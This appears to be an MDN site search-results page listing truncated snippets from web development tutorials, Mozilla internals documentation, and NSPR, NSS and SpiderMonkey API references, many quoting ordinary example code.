...if it starts to become fizzy, you should definitely discard it.</p>\n\n<p>hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode =...
Adding vector graphics to the Web - Learn web development
popular web raster formats include bitmap (.bmp), png (.png), jpeg (.jpg), and gif (.gif.) vector images are defined using algorithms — a vector image file contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen.
... here's a quick review: <iframe src="triangle.svg" width="500" height="500" sandbox> <img src="triangle.png" alt="triangle with three unequal sides" /> </iframe> this is definitely not the best method to choose: cons iframes do have a fallback mechanism, as you can see, but browsers only display the fallback if they lack support for iframes altogether.
HTML table advanced features and accessibility - Learn web development
adding structure with <thead>, <tfoot>, and <tbody> as your tables get a bit more complex in structure, it is useful to give them more structural definition.
... this gives your html table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet.
Graceful asynchronous programming with Promises - Learn web development
as we said before, this object represents an intermediate state that is initially neither success nor failure — the official term for a promise in this state is pending.
... take a copy of the previous example, and replace the existing timeoutpromise() definition with this: function timeoutpromise(message, interval) { return new promise((resolve, reject) => { if (message === '' || typeof message !== 'string') { reject('message is empty or not a string'); } else if (interval < 0 || typeof interval !== 'number') { reject('interval is negative or not a number'); } else { settimeout(function(){ resolve(message); ...
Build your own function - Learn web development
calling the function you've now got your function definition written into your <script> element just fine, but it will do nothing as it stands.
...add the following line to your code, above the function definition: const btn = document.queryselector('button'); finally, add the following line below the previous one: btn.onclick = displaymessage; in a similar way to our closebtn.onclick...
Fetching data from the server - Learn web development
the first block that uses fetch can be found at the start of the javascript: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { let products = json; initialize(products); }).catch(function(err) { console.log('fetch problem: ' + err.message); }); the fetch() function returns a promise.
...we set this to be the value of the products variable, then run initialize(products), which starts the process of displaying all the products in the user interface.
Third-party APIs - Learn web development
initially the <script> element contains a number of variables needed for the setup of the example; below we'll fill in the required functionality.
... searchform.addeventlistener('submit', submitsearch); now add the submitsearch() and fetchresults() function definitions, below the previous line: function submitsearch(e) { pagenumber = 0; fetchresults(e); } function fetchresults(e) { // use preventdefault() to stop the form submitting e.preventdefault(); // assemble the full url url = baseurl + '?api-key=' + key + '&page=' + pagenumber + '&q=' + searchterm.value + '&fq=document_type:("article")'; if(startdate.value !== '') { url += '&b...
A first splash into JavaScript - Learn web development
initial setup to begin this tutorial, we'd like you to make a local copy of the number-guessing-game-start.html file (see it live here).
...we also run this value through the built-in number() constructor, just to make sure the value is definitely a number.
Test your skills: variables - Learn web development
initialize myname with a suitable value, on a separate line (you can use your actual name, or something else).
... declare a variable called myage and initialize it with a value, on the same line.
Solve common problems in your JavaScript code - Learn web development
for example: const myobject = { name: 'chris', age: 38 } basic definitions what is javascript?
... how do you initialize a variable with a value?
Working with JSON - Learn web development
we have wrapped the code in an event handler that runs when the load event fires on the request object (see onload) — this is because the load event fires when the response has successfully returned; doing it this way guarantees that request.response will definitely be available when we come to try to do something with it.
...first of all, add the following function definition below the previous code: function populateheader(jsonobj) { const myh1 = document.createelement('h1'); myh1.textcontent = jsonobj['squadname']; header.appendchild(myh1); const mypara = document.createelement('p'); mypara.textcontent = 'hometown: ' + jsonobj['hometown'] + ' // formed: ' + jsonobj['formed']; header.appendchild(mypara); } we named the parameter jsonobj, to remind ourselves that this javascript object originated from json.
Object building practice - Learn web development
the last bit of the initial script looks as follows: function random(min, max) { const num = math.floor(math.random() * (max - min + 1)) + min; return num; } this function takes two numbers as arguments, and returns a random number in the range between the two.
... first, add the following method definition below where you defined the update() method (i.e., the ball.prototype.update block).
Aprender y obtener ayuda - Learn web development
for example: materials i need: a computer internet access pens and paper knowledge i need: how to use html, css, javascript, and associated tools and best practices to build web sites and web applications (we can definitely help you with this one!).
... each of these problems doesn't seem nearly as difficult to solve as the one big problem you had initially.
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... fastboot: server-side rendering, including improving search-engine optimization (seo), or improving initial render performance of complex, highly interactive web pages.
Ember interactivity: Events, classes and state - Learn web development
n this terminal command to generate a service for us to store our todo-list data in: ember generate service todo-data this should give you a terminal output like so: installing service create app/services/todo-data.js installing service-test create tests/unit/services/todo-data-test.js this creates a todo-data.js file inside the todomvc/app/services directory to contain our service, which initially contains an import statement and an empty class: import service from '@ember/service'; export default class tododataservice extends service { } first of all, we want to define what a todo is.
...when instantiated, a todo object will have an initial text value equal to the text given to it when created (see below), and an iscompleted value of false.
Componentizing our React app - Learn web development
first modify your todo() function definition so that it takes props as a parameter.
... to follow the same pattern we had initially, let's give each instance of the <todo /> component an id in the format of todo-i, where i gets larger by one every time: <todo name="eat" completed={true} id="todo-0" /> <todo name="sleep" completed={false} id="todo-1" /> <todo name="repeat" completed={false} id="todo-2" /> now go back to todo.js and make use of the id prop.
Beginning our React todo list - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.
... finally, the labels and inputs in our list items have some attributes unique to jsx: <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> the defaultchecked attribute in the <input/ > tag tells react to check this checkbox initially.
Componentizing our Svelte app - Learn web development
add the following variable definitions at the bottom of the <script> section of the todo component: let editing = false // track editing mode let name = todo.name // hold the name of the todo being edited we have to decide what events our todo component will emit: we could emit different events for the status toggle and editing of the name.
... add the following set of functions below your previous function to handle these actions: function oncancel() { name = todo.name // restores name to its initial value and editing = false // and exit editing mode } function onsave() { update({ name: name }) // updates todo name editing = false // and exit editing mode } function onremove() { dispatch('remove', todo) // emit remove event } function onedit() { editing = true // enter editing mode }...
Handling common HTML and CSS problems - Learn web development
in our debugging html and debugging css articles, we provided some really basic guidance on debugging html/css — if you are not familiar with the basics, you should definitely study these articles before carrying on.
...what happens is a browser visiting this page first applies the first background-color value; when it gets to the second background-color declaration, it will override the initial value with this value if it supports rgba colors.
Multiprocess on Windows
since gecko's main thread uses com, and com requires threads to declare their threading model, the main thread must initialize itself to live inside its own single threaded apartment (sta).
...for example: static const mozilla::mscom::arraydata kmyarraydata[] { { // first arraydata definition }, { // second arraydata definition } }; mozilla::mscom::registerarraydata(kmyarraydata); each arraydata struct corresponds to one function; with length_is and/or size_is annotations.
Application cache implementation overview
during initiation the update is first looking for an existing nsiapplicationcache object using nsiapplicationcacheservice::getactivecache() with the manifest url to load from as an argument.
...after these steps the update is in initialized state waiting to be scheduled.
Debugging Frame Reflow
it is the initial reflow: r=0.
...below this is a line that reads: tblo 02d7b5f0 r=0 a=8940,uc c=0,0 cnt=870 here the uc shows that on initial reflow the available height for the outer table frame is unconstrained.
Creating Custom Events That Can Pass Data
var event = document.createevent("nsdommyevent"); event.initevent("nsdommyevent", true, true); window.dispatchevent(event); dispatching your event in c++ the following shows how to dispatch your event in c++: nscomptr<nsiwindowwatcher> wwatcher (do_getservice("@mozilla.org/embedcomp/window-watcher;1")); // the window watcher will be able to give me a handle to the window nscomptr<nsidomwindow> awindow; // a handle to the window ns...
... docevent->createevent(ns_literal_string("nsdommyevent"), getter_addrefs(event)); //create the event event->initevent(ns_literal_string("nsdommyevent"), pr_true, pr_true); //initialize it twindow = do_queryinterface(awindow); //use the window for a target.
Experimental features in Firefox
nightly 43 yes developer edition 43 no beta 43 no release 43 no preference name layout.css.control-characters.enabled or layout.css.control-characters.visible property: initial-letter the initial-letter css property is part of the css inline layout specification and allows you to specify how dropped, raised, and sunken initial letters are displayed.
... nightly 50 no developer edition 50 no beta 50 no release 50 no preference name layout.css.initial-letter.enabled conic gradients conic gradients expand css gradients to allow the color transitions to be rendered circling around a center point rather than radiating from it.
Limitations of chrome scripts
in some situations, the content process may not be initialized when an add-on asks for access to its content.
... a common pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsidomwindow); } } or this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.que...
Performance
while it may seem fairly innocencous in this toy example, real scripts often have a lot more functions and initialize some fairly heavyweight objects.
...function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
overflow-clip-box
/* keyword values */ overflow-clip-box: padding-box; overflow-clip-box: content-box; /* two values */ overflow-clip-box: padding-box content-box; overflow-clip-box: content-box content-box; /* global values */ overflow-clip-box: inherit; overflow-clip-box: initial; overflow-clip-box: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
... initial valuepadding-boxapplies toall elementsinheritednomediavisualcomputed valueas specifiedanimation typediscretecanonical orderthe unique non-ambiguous order defined by the formal grammar syntax values padding-box this keyword makes the clipping be related to the padding box.
Script security
the add-on sdk runs content scripts in sandboxes, which are initialized with an expanded principal, giving them elevated privileges with respect to the web content they operate on, but reduced privileges with respect to chrome.
...chrome code, by definition, runs with the system principal, as do frame scripts.
IPDL Best Practices
this document is intended to help correct these before the formal review process is initiated.
...when to run code here's a rundown on appropriate places to run certain kinds of code: manager::allocpprotocol - allocation manager::recvpprotocolconstructor - initialization, protocol deletion (the typeaheadfind protocol uses one-shot protocols like this) actor::recv__delete__ - cleanup, ipdl calls still valid but ill-advised actor::actordestroy - non-ipdl cleanup manager::deallocpprotocol - deallocation one construct to avoid: class protocolparent { public: ~protocolparent() { send__delete__(this); } }; class protocolmanagerparent ...
Implementing Download Resuming
not only is the ability to specify a start position important, but it's also important to have some assurance that the file did not change since the initial download attempt.
... that would lead to a situation where the first part of the file corresponds to the initial version, while the latter part belongs to a different version, leading to an unusable result.
Introduction to Layout in Mozilla
style data is computed lazily, as it is asked for reflow recursively compute geometry (x, y, w, h) for frames, views, and widgets given w & h constraints of “root frame” compute (x, y, w, h) for all children constraints propagated “down” via nshtmlreflowstate desired size returned “up” via nshtmlreflowmetrics basic pattern parent frame initializes child reflow state (available w, h); places child frame (x, y); invokes child’s reflow method child frame computes desired (w, h), returns via reflow metrics parent frame sizes child frame and view based on child’s metrics n.b.
...(tables, blocks, xul boxes) reflow “global” reflows initial, resize, style-change processed immediately via presshell method incremental reflows targeted at a specific frame dirty, content-changed, style-changed, user-defined nshtmlreflowcommand object encapsulates info queued and processed asynchronously, nsipressshell::appendreflowcommand, processreflowcommands incremental reflow recursively descend to target recovering reflow state child rs.reason set to incremental incremental reflow process reflow “normally” at target frame child rs.reason set based on rc’s type incremental reflow propagate damage to frames later “in the flow” incrementa...
JavaScript-DOM Prototypes in Mozilla
a third way through which one can access the prototype of an object is through the constructor property of the object, which itself points (initially) to the constructor: document.images[0].constructor.prototype.foo = bar; note though, the above may or may not work in mozilla.
...the pagex property actually needs a patch because it doesn't get set correctly in initmouseevent bug 411031.
JavaScript Tips
var uniquename = { _privatemember: 3, publicmember: "a string", init: function() { this.dosomething(this.anothermember); }, dosomething: function(aparam) { alert(aparam); } }; xpconnect don't use object methods and properties more than you have to.
...interfaces.nsiobserver) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, atopic, astate) { } } when declaring xpcom methods, try to use the same names for method parameters as are used in the interface definition.
CustomizableUI.jsm
ensurewidgetplacedinwindow() ensure a xul-based widget created in a window after areas were initialized moves to its correct position.
...so if we register listener first, then it catches the initial adds.
DownloadSummary
this allows the summary to be used without requiring the initialization of the downloadlist first.
...the newly added view will receive an initial onsummarychanged notification.
FxAccountsOAuthClient.jsm
components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow.
... parameters set of parameters to initialize the firefox accounts oauth flow.
JavaScript OS.Constants
using os.constants from the main thread to initialize os.constants for use in the main thread, add the following snippet to your code: components.classes["@mozilla.org/net/osfileconstantsservice;1"].
... init(); from a chrome worker no initialization is required.
Deferred
eturn new promise(function(resolve, reject) { dosomething(function cb(good) { if (good) resolve(); else reject(); }); }); method overview void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
... * initially in pending state.
Promise
method overview promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor creates a new promise, initially in the pending state, and provides references to the resolving functions that can be used to change its state.
... return value a new promise that is initially pending, then assumes a state that depends on the outcome of the invoked callback function: if the callback returns a value that is not a promise, including undefined, the new promise is fulfilled with this fulfillment value, even if the original promise was rejected.
Bootstrapping a new locale
after you have committed and pushed your initial translation, email the l10n-drivers team to let us know it's ready.
... ../mozilla/configure --disable-compile-environment --enable-application=browser whenever you need a build directory, these are the steps that you need to do to initialize it.
Index
13 initial setup localization as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local environment (i.e., your personal computer).
... 16 translation phase localization, localization:tools congratulations on completing the initial setup!
Localization and Plurals
you may also need to localize the initial strings for your code, so it would be good to read through at least the usage section as well.
... chrome://mozapps/locale/downloads/do...tes,hours,days chrome://mozapps/locale/downloads/do...dstitlepercent chrome://browser/locale/browser.prop...auseddownloads version history 0.1: initial version with pluralrule check, properties input loading, table generation, sample output display 0.2: use pluralform.numforms() to get the number of forms instead of figuring out locally to better support future rules - requires build from 2007/01/27 or later 0.3: generate a list of what numbers fall into which plural form to minimize the sample output to at most 3 of each form developing w...
Localization quick start guide
we will take you through the steps to get started, from the initial environment setup to testing and releasing your own localization.
... initial setup tech prep work before localizing.
Localization technical reviews
for this initial review, all xml files should be removed.
...if they don't, we report any strange access keys or translations that localizers might have changed during their initial translation process.
gettext
a definition of a string with plurals takes three arguments: the singular form of the english string, the plural form of the english string, and the number basing on which the function will return the correct (singular or plural) form of the string.
... the string definition in the messages.po file will look like this: #: file.php:3 #, php-format msgid "%d user likes this." msgid_plural "%d users like this." msgstr[0] "" msgstr[1] "" depending on the localizer's target language and its rules for creating plural forms, there might be another field for translation, e.g.
Mozilla Style System Documentation
each of the structs includes either only features that are inherited by default or single properties that are set to the initial value by default (see css26.1.1), which is essential for the ruletree.
...as stated above, each style struct contains only features that are inherited by default or those that are set to their initial value ("reset") by default.
mozilla::MutexAutoLock
to use mozilla::mutexautolock, declare and initialize it with a reference to an mozilla::mutex.
...this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
mozilla::MutexAutoUnlock
to use mozilla::mutexautounlock, declare and initialize it with a reference to a locked mozilla::mutex.
...this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
Profiling with the Firefox Profiler
for example:in the results above we can see that we're spending ~287 milliseconds in startup::xre_initchildprocess, 194 ms of which are spent in pvsync::msg_notify and all child functions that it calls.
...thread names are the strings passed to the base::thread class at initialization.
A brief guide to Mozilla preferences
prefs.js is automatically generated by the application and should not be edited manually, whereas user.js is an optional file the user can create to override preferences initialized by other preferences files.
...this also means that preferences initially set by user.js will also be saved to prefs.js.
Leak And Bloat Tests
overlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): common/mailnewstestprefs.js python scripts (used to set up the profile and run the test): bloat/setupbloattest.py bloat/runtest.py common/setupcommonmailnews.py pre-defined profile initial setup: one pop3 account (mails tbd) one identity one smtp server defined (not used) future requirements/possibilities: one address book where pab has ~1000 entries large message folders imap nntp server and subscribed newsgroup.
...tory", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail/tinderbox"); user_pref("mail.attachment.store.version", 1); user_pref("mail.folder.views.version", 1); user_pref("mail.spam.version", 1); user_pref("mailnews.quotingprefs.version", 1); user_pref("mailnews.ui.threadpane.version", 6); changes to leak and bloat tests date and time (pst) description approx effect on numbers pre dec 2008 initial version - 2008/12/07 11:20 bug 463594 disabled os x and outlook address books via the preference settings mac lk -56.2kb.
NSPR release procedure
release checklist change the nspr version in mozilla/nsprpub/pr/include/prinit.h.
...note: for nss, the script equivalent to nspr's repackage.sh is /u/robobld/bin/sbsinit/nss/push/buildbindist.sh in the "svbuild" source tree.
NSPR's Position On Abrupt Thread Termination
the definition of the language c is such that returning from main() is a perfectly fine thing to do.
...in unix, with its complex definition of a protection domain, it happens to work (one might even say it's more efficient) to exit from anywhere.
Optimizing Applications For NSPR
to disable thread preemption call <tt>pr_disableclockinterrupts()</tt>during initialization.
... initialization of nspr may fail if the host is not connected to a network of some kind.
Introduction to NSPR
nspr naming conventions naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed by intercap-style declarations, like this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase characters separated with the underscore character (_), like this: pr_bytes_per_short, pr_extern nspr threads nspr provides an execution environment that promotes the use of lightweight threads.
...in such cases the return from the wait operation indicates a failure and definitively indicates that the cause of the failure is an interrupt.
Linked Lists
the api is a set of macros for initializing a circular (doubly linked) list, inserting and removing elements from the list.
... linked list macros macros that create and operate on linked lists are: pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_prev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after pr_clist_is_empty pr_list_head pr_list_tail ...
Network Addresses
network address types and constants prhostent prprotoent pr_netdb_buf_size network address functions initializing a network address pr_initializenetaddr facilitates the use of prnetaddr, the basic network address structure, in a polymorphic manner.
... pr_initializenetaddr converting between a string and a network address pr_stringtonetaddr pr_netaddrtostring converting address formats pr_convertipv4addrtoipv6 getting host names and addresses pr_gethostbyname pr_gethostbyaddr pr_enumeratehostent pr_getaddrinfobyname pr_enumerateaddrinfo pr_getcanonnamefromaddrinfo pr_freeaddrinfo getting protocol entries pr_getprotobyname pr_getprotobynumber ...
PRFileInfo
creationtime creation time per definition of prtime.
... modifytime last modification time per definition of prtime.
PRFileInfo64
creationtime creation time per definition of prtime.
... modifytime last modification time per definition of prtime.
PR_OpenSemaphore
value the initial value assigned to the semaphore.
... if pr_sem_create is specified, the third argument is the access permission bits of the new semaphore (same interpretation as the mode argument to pr_open) and the fourth argument is the initial value of the new semaphore.
NSPR API Reference
types size type pointer difference types boolean types status type for return values threads threading types and constants threading functions creating, joining, and identifying threads controlling thread priorities controlling per-thread private data interrupting and yielding setting global thread concurrency getting a thread's scope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functions cached monitors cached monitor functions i/o types directory type file descriptor types file info ...
...ack functions functions memory management operations memory allocation functions memory allocation macros string operations pl_strlen pl_strcpy pl_strdup pl_strfree floating point number to string conversion pr_strtod pr_dtoa pr_cnvtf long long (64-bit) integers bitmaps formatted printing linked lists linked list types prclist linked list macros pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_prev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname ...
NSPR release process
five files need to be updated: configure.in, configure, repackage.sh, prinit.h, and vercheck.c.
... usually you just need to update prinit.h.
Using JSS
MozillaProjectsNSSJSSUsing JSS
gather components setup your runtime environment initialize jss in your application gather components you need the jss classes and the nspr, nss, and jss shared libraries.
... initialize jss in your application before calling any jss methods, you must initialize jss by calling one of the cryptomanager.initialize methods.
NSS_3.11.10_release_notes.html
bug 387892: add entrust root ca certificate(s) to nss bug 396999: pk11_authenticate bug 397478: lock from ssl_initsymwrapkeyslock not freed on selfserv shutdown.
... bug 398680: assertion botch in ssl3_registerserverhelloextensionsender doing second handshake with ssl_forcehandshake bug 403240: threads hanging in nss_initlock bug 403888: memory leak in trustdomain.c bug 416067: certutil -l -h token doesn't report token authentication failure bug 417637: tstclnt crashes if -p option is not specified bug 421634: don't send an sni client hello extension bearing an ipv6 address bug 422918: add verisign class 3 public primary ca - g5 to nss bug 424152: add thawte primary root ca to nss bug 424169: add geotrust primary certification authority root to nss bug 425469: add multiple new roots: geotrust bug 426568: add comodo certification authority certificate to nss bug 43138...
NSS 3.14 release notes
when connecting to a server, the record layer version of the initial clienthello will be at most { 3, 1 } (tls 1.0), even when attempting to negotiate tls 1.1 (https://bugzilla.mozilla.org/show_bug.cgi?id=774547) the choice of client_version sent during renegotiations has changed.
... bug 783448 - when performing an ssl renegotiation, the client_version that is sent in the renegotiation clienthello will be set to match the client_version that was sent in the initial clienthello.
NSS 3.24 release notes
rather than declaring a plarenapool pointer and calling port_newarena/port_freearena to allocate or free an instance on the heap, declare a portcheaparenapool on the stack and use port_initcheaparena/port_destroycheaparena to initialize and destroy it.
... in secport.h port_initcheaparena - initializes an arena that was created on the stack.
NSS 3.53 release notes
bugs fixed in nss 3.53 bug 1640260 - initialize pbe params (asan fix) bug 1618404 - set cka_nss_server_distrust_after for symantec root certs bug 1621159 - set cka_nss_server_distrust_after for consorci aoc, grca, and sk id root certs bug 1629414 - ppc64: correct compilation error between vmx vs.
... vsx vector instructions bug 1639033 - fix various compile warnings in nss bug 1640041 - fix a null pointer in security/nss/lib/ssl/sslencode.c:67 bug 1640042 - fix a null pointer in security/nss/lib/ssl/sslsock.c:4460 bug 1638289 - avoid multiple definitions of sha{256,384,512}_* symbols when linking libfreeblpriv3.so in firefox on ppc64le bug 1636389 - relocate deprecated seed algorithm bug 1637083 - lib/ckfw: no such file or directory.
NSS Sample Code sample2
argc, char **argv) { ck_mechanism_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, ivitem; secstatus rv, rv1, rv2; unsigned char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
NSS Sample Code sample4
ieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; /* initialize nss */ pk11_setpasswordfunc(passwdcb); rv = nss_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; } cert = pk11_findcertfromnickname("testca", null); if (cert == null) { fprintf(stderr, "couldn't find cert testca in nss db (err %d)\n", pr_geterror()); goto cleanup;...
... } pubkey = cert_extractpublickey(cert); if (pubkey == null) { fprintf(stderr, "couldn't extract public key from cert testca (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publickeystrength(pubkey); fprintf(stderr, "public key modulus %d bytes\n", modulus_len); buf1 = (char *)malloc(modulus_len); buf2 = (char *)malloc(modulus_len); /* initialize buf1 */ for (i=0;i<modulus_len;i++) { buf1[i]= (i %26) + 'a'; } buf1[modulus_len-1] = '\0'; fprintf(stderr, "buffer being encrypted = \n%s\n", buf1); /* encrypt buf1, result will be in buf2 */ rv = pk11_pubencryptraw(pubkey, buf2, buf1, modulus_len, null); if (rv != secsuccess) { fprintf(stderr, "encrypt with public key failed (err %d)\n", pr_geterror()...
NSS Sample Code sample5
ickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; char *pubkstr = base64_encoded_subjectpublickeyinfo; char *pvtkstr = base64_encoded_privatekeyinfo; secitem der; secitem nickname; pk11slotinfo *slot = null; /* initialize nss * you need to explicitly authenticate to the internal token if you use * nss_init insteadf of nss_nodb_init * invoke this after getting the internal token handle * pk11_authenticate(slot, pr_false, null); */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; ...
...ecitem_freeitem(&der, pr_false); pubkey = seckey_extractpublickey(spki); if (pubkey == null) { fprintf(stderr, "couldn't extract public key (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publickeystrength(pubkey); fprintf(stderr, "public key modulus %d bytes\n", modulus_len); buf1 = (char *)malloc(modulus_len); buf2 = (char *)malloc(modulus_len); /* initialize buf1 */ for (i=0;i<modulus_len;i++) { buf1[i]= (i %26) + 'a'; } buf1[modulus_len-1] = '\0'; fprintf(stderr, "buffer being encrypted = \n%s\n", buf1); /* encrypt buf1, result will be in buf2 */ rv = pk11_pubencryptraw(pubkey, buf2, buf1, modulus_len, null); if (rv != secsuccess) { fprintf(stderr, "encrypt with public key failed (err %d)\n", pr_geterror(...
nss tech note1
if you you are using a tag of a different classes, you can define your own tag number macros or specify the tag value within the template definition.
...this is typically used for sec_asn1_sequence or sec_asn1_choice definitions, which always need to be the first template in a template array of their own.
PKCS 12 functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... sec_pkcs12createpasswordprivsafe mxr 3.2 and later sec_pkcs12createunencryptedsafe mxr 3.2 and later sec_pkcs12decoderfinish mxr 3.2 and later sec_pkcs12decodergetcerts mxr 3.4 and later sec_pkcs12decoderimportbags mxr 3.2 and later sec_pkcs12decoderiterateinit mxr 3.10 and later sec_pkcs12decoderiteratenext mxr 3.10 and later sec_pkcs12decodersettargettokencas mxr 3.8 and later sec_pkcs12decoderstart mxr 3.2 and later sec_pkcs12decoderupdate mxr 3.2 and later sec_pkcs12decodervalidatebags mxr 3.2 and la...
FC_Decrypt
description fc_decrypt decrypts a block of data according to the attributes of the previous call to fc_decryptinit.
... return value examples see also fc_decryptinit, nsc_decrypt ...
FC_DecryptUpdate
description fc_decryptupdate decrypts a block of data according to the attributes of the previous call to fc_decryptinit.
... return value examples see also fc_decryptinit, nsc_decryptupdate ...
FC_Digest
description fc_digest digests a message in a single operation according to the attributes of the previous call to fc_digestinit.
... return value examples see also fc_digestinit, nsc_digest ...
FC_Encrypt
description fc_encrypt encrypts a block of data according to the attributes of the previous call to fc_encryptinit.
... return value examples see also fc_encryptinit, nsc_encrypt ...
FC_EncryptUpdate
description fc_encryptupdate encrypts a block of data according to the attributes of the previous call to fc_encryptinit.
... return value examples see also fc_encryptinit, nsc_encryptupdate ...
FC_FindObjects
description fc_findobjects returns the next set of object handles matching the criteria set up by the previous call to fc_findobjectsinit and sets the object count variable to their number or to zero if there are none.
... return value examples see also fc_findobjectsinit, nsc_findobjects ...
FC_SeedRandom
note that fc_seedrandom() doesn't provide the initial seed material for the random number generator.
... the initial seed material is provided by the nss cryptographic module itself.
FC_Sign
description fc_sign signs a message in a single operation according to the attributes of the previous call to fc_signinit.
... return value examples see also fc_signinit, nsc_sign ...
NSS Tools certutil
the key database should already exist; if one is not present, this option will initialize one by default.
...the certificate database should already exist; if one is not present, this option will initialize one by default.
Rhino Examples
sharing the global scope allows both information to be shared across threads, and amortizes the cost of context.initstandardobjects by only performing that expensive operation once.
...a more involved example of host object definition.
Rhino serialization
upon deserialization the initial object and the objects it refers to are all created and the references between the objects are resolved.
...by default, scriptableoutputstream excludes all the names defined using context.initstandardobjects.
Functions
if a name definitely refers to an argument or local variable of the immediately enclosing function, it can be accessed using jsop_{get,set,call}{arg,local} instructions.
...outside all functions, if a name definitely refers to a global for which we have seen a var, const, or function declaration, then we emit a js_defvar instruction in the script prelude and access the global using jsop_{get,set,call}gvar.
Garbage collection
by definition, a weak reference should not hold a target live by itself.
... another detail is that write barriers can be skipped when initializing fields of newly allocated objects, because no pointer is being overwritten.
SpiderMonkey Internals
jspubtd.h, jsprvtd.h these files exist to group struct and scalar typedefs so they can be used everywhere without dragging in struct definitions from n different files.
...they have similar structure, generally starting with class definitions and continuing with internal constructors, finalizers, and helper functions.
JS::Add*Root
this variable must already be initialized.
... (for example, it must not be an uninitialized local variable.
JS::AutoValueArray
initialize args[0] and args[1] here ...
...initialize args[0] and args[1] here ...
JS::Rooted
syntax js::rooted<t> var(cx); js::rooted<t> var(cx, initial); js::rooted<t> var(rt); js::rooted<t> var(rt, initial); name type description cx jscontext * the context in which to add the root.
... initial t an initial value for the rooted variable.
JSClass.flags
the slots initially contain unspecified valid jsval values.
...(this is meaningful only if the jsclass_new_resolve flag is also set.) jsclass_construct_prototype obsolete since jsapi 11 instructs js_initclass to invoke the constructor when creating the class prototype.
JSObjectOps.defineProperty
value jsval the initial value for the new property.
... description define obj[id], an own property of obj named id, having the given initial value, with the specified getter, setter, and attributes.
JSObjectOps.getRequiredSlot
the native ops (js_objectops, see js/src/jsobj.cpp) access slots reserved by including a call to the jsclass_has_reserved_slots(n) macro in the jsclass.flags initializer.
... note: the slot parameter is a zero-based index into obj slots, unlike the index parameter to the js_getreservedslot and js_setreservedslot api entry points, which is a zero-based index into the jsclass_reserved_slots(clasp) reserved slots that come after the initial well-known slots: proto, parent, class, and optionally, the private data slot.
JSObjectOps.newObjectMap
nrefs jsrefcount the initial reference count for the new jsobjectmap.
